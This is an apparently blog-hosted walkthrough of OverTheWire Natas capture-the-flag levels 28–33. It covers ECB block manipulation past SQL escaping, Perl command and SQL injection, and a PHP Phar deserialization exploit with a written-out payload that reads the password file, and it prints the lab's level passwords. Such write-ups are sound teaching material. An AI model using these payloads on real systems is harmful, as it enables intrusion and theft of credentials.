![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871446752/713083b6-0c89-4645-a865-2121c529424a.png align="center")

* If we try to inject SQL query in the application it is escaped and is searched as normal text.
    
    Response for searching `'` :
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871495868/c5459938-62a6-4f99-b00f-192d6b90d4fe.png align="center")

* To verify it we can send crafted input so that the escaping increases the blocks of bytes in the encrypted query.
    
    Verifying escaping of `'` :
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871543677/1f73fba3-2383-4e15-8bf9-8d1dfd870990.png align="center")
    
    * When 12 `a` are sent the size is 160. But when 11 `a` and 1 `'` is sent the size is 192. So this is adding `\` character before the `'` character.
        
* Our input is divided into blocks and then individual block is encrypted separately due to use of ECB encryption. The escaping is done when input is supplied. The application work flow is like.
    
    * **input** ⇒ **escaping SQL-i characters** ⇒ **encrypt individual block** ⇒ **combine encrypted blocks** ⇒ **encrypted query**
        
    * **encrypted query** ⇒ **decryption block by block** ⇒ **combine the decrypted string** ⇒ **run the SQL query to fetch the joke.**
        
* We assume `'` is converted to `\'` and then encrypted.
    
* If we can insert the `'` character at the end of the block `\` is inserted at the end of the block and the `'` character is pushed to the next block.
    
* Since individual blocks are decrypted individually and then the resulting text is combined, we replace the encrypted byte block with `\` at the end with encrypted byte block with normal character at the end.
    
* This will result in text with no escaping of the `'` character and can execute the arbitrary SQL injection code which can be used to obtain the password for the next level.
    
* We know in the third block there is space for 10 characters, So putting 9 `a` and `'` will replace `'` with `\` and push `'` to the next block.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871652187/69d60216-a4af-49aa-bfe2-477fa3e3f1cc.png align="center")
    
* If we replace the 3rd block with encrypted byte block with `xxxxxxaaaaaaaaaa` (10 `a` ), the encrypted query is a valid one but without a escaping `\` .
    
    crafted malicious encrypted query with SQLi:
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871687402/837c3519-3e5c-4596-854f-357fac6e0740.png align="center")

* URL encode the payload then provide to the search query to get the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871729150/572b3da5-0f36-47f7-a466-f8c21eab1091.png align="center")
    

```plaintext
🔒 pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno
```

### Level 29 - Level 30:

* The application this time is not built with PHP but with Perl.
    
* It has a drop down which includes some files with a query parameter `file`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871792974/84ae5d94-1d6d-45e4-9001-b6187cdc84e1.png align="center")
    
* Tried some path traversal payloads but did not work.
    
* When tried to brute-force some characters and numbers 0 seems to send some less bytes.
    
* When tried to do some command injection `|` character work but with a null byte `%00` at the end.
    
* So I tried to read the `/etc/natas_webpass/natas30` but failed.
    
* Tried to read the [`index.pl`](http://index.pl) file which contains the main logic and it succeed. So, some thing must be filtered when reading the password file.
    
    Command injection to read the source code:
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871880470/2c2d06c2-9abd-4bb5-85c3-74a400ea59a2.png align="center")

* For this we can use the `*` feature of linux.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871911237/c4179edb-dc06-41d7-938d-166bb07a4926.png align="center")
    
* Using `/etc/*_webpass/*30` reveals the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871937078/e48e72bf-3a7b-4bcf-83e9-d928b5e90a5f.png align="center")
    

```plaintext
🔒 Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X
```

### Level 30 - Level 31:

* This level has a login form with `username` and `password` written in PERL.
    
* Looking at the source code, it was using `quote` function to restrict the SQL injection payload.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872015107/fab3e362-6ca3-41bb-a25c-42d6d67a5c55.png align="center")
    
* Searching in google about the SQL injection in Perl, came across a feature about `param` and `quote` function.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872045616/92ad9a78-810f-4815-bdf5-94a1672008c1.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872131921/e7f1394d-78ba-4f34-b5e8-8289a8e90726.png align="center")
    

```plaintext
🔒 AMZF14yknOn9Uc57uKB02jnYuhplYka3
```

### Level 31 - Level 32:

* The application has a file upload feature which accepts a `.csv` file and show it in a table.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872432294/170a940d-4c16-453e-86f9-dcfccd4cf0b0.png align="center")
    
* Going through this video → [Link](https://www.youtube.com/watch?v=BYl3-c2JSL8) , shows a way to exploit the Perl code and execute the command.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872461920/211dd985-e404-4d5f-8123-159d92c964ea.png align="center")
    
* The `ARGV` will enable the application to run the command specified at the URI.
    

```plaintext
🔒 Yp5ffyfmEdjvTOwpN5HCvh7Ctgf9em3G
```

### Level 32 - Level 33:

* The application is same as the previous one but for getting the password we have to execute a binary present in the web root.
    
* For this the contents of the web root is listed first.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872487288/b9abcf8f-a3e5-45e7-b184-0e2da3644f4b.png align="center")
    
* It contains a file called `getpassword` so executing the file to get the password.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872507989/f5b01e51-bf78-4a21-87ee-cf492c558b0b.png align="center")
    

```plaintext
🔒 APwWDD3fRAf6226sgBOBaSptGwvXwQhG
```

### Level 33 - Level 34:

* The application has a file upload feature to update firmware, which allows PHP file.
    
* When tried to upload a php file, it is saved as `PHPSESSID` as file name. But going to the endpoint says `404 not found` .
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872559626/20728824-a495-47a3-86f9-1990dbe1b4ae.png align="center")
    
* Tried changing the filename to `.php` , but did not work.
    
* Looking at the source code, it has a `Executor` class which is responsible for handling the request.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872588743/e301649b-d78f-469a-9f96-1630804403aa.png align="center")
    
* It is validating the MD5 sum in the `__destruct()` function and executing the `passthru()` function which is similar to `exec()`.
    
* The MD5 with loose comparison hints towards the MD5-Hash Collision, but is difficult because of the size limitations of the file.
    
* Another hint is towards the **Deserialization** due the `passthru` function present in the `__destruct()` function. However, the application do not have any `unserialize()` function.
    
* Came across [Phar Deserialization](https://www.sonarsource.com/blog/new-php-exploitation-technique/?ref=learnhacking.io) which can be used to solve this level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872670049/9f2a760f-66d2-4423-a468-8add0dbc2327.png align="center")
    
* For exploitation we create a malicious PHP file with code to read the password for the next level.
    
    ```php
    
    <?php system('cat /etc/natas_webpass/natas34'); ?>
    ```
    
* Then create a phar file with modified object of the `Executor` class.
    
    ```php
    <?php
    
    class Executor{
        private $filename = "shell.php";
        private $signature = True;
        private $init = false;
    }
    
    $phar = new Phar('natas.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    
    $object = new Executor();
    $object->data = 'rips';
    $phar->setMetadata($object);
    $phar->stopBuffering();
    
    ?>
    ```
    
* Executing the PHP script will create a `.phar` file which will be uploaded and referenced using the `Stream Wrappers` .
    
    ```bash
    php -d phar.readonly=false natas33.php
    ```
    
* Now upload the files in the server changing the name of the files from session id to the respective name.
    
* Then use the Stream Wrapper `phar://` to reference the currently uploaded `.phar` file which contains the serialized object of the modified `Executor` class.
    
* This will trigger in the deserialization of the object and trigger of the `__destruct()` function.
    
* Due to loose comparison of the MD5 hash, the `$signature` in the modified object results the condition to be true and give the password for the next level
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722873218764/34c3fd14-9daa-4db0-98fb-b1b0eebc254c.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722872792514/315fbdf3-6a39-4346-96bc-d55cf35be158.png align="center")
    

```plaintext
🔒 F6Fcmavn8FgZgrAPOvoLudNr1GwQTaNG
```
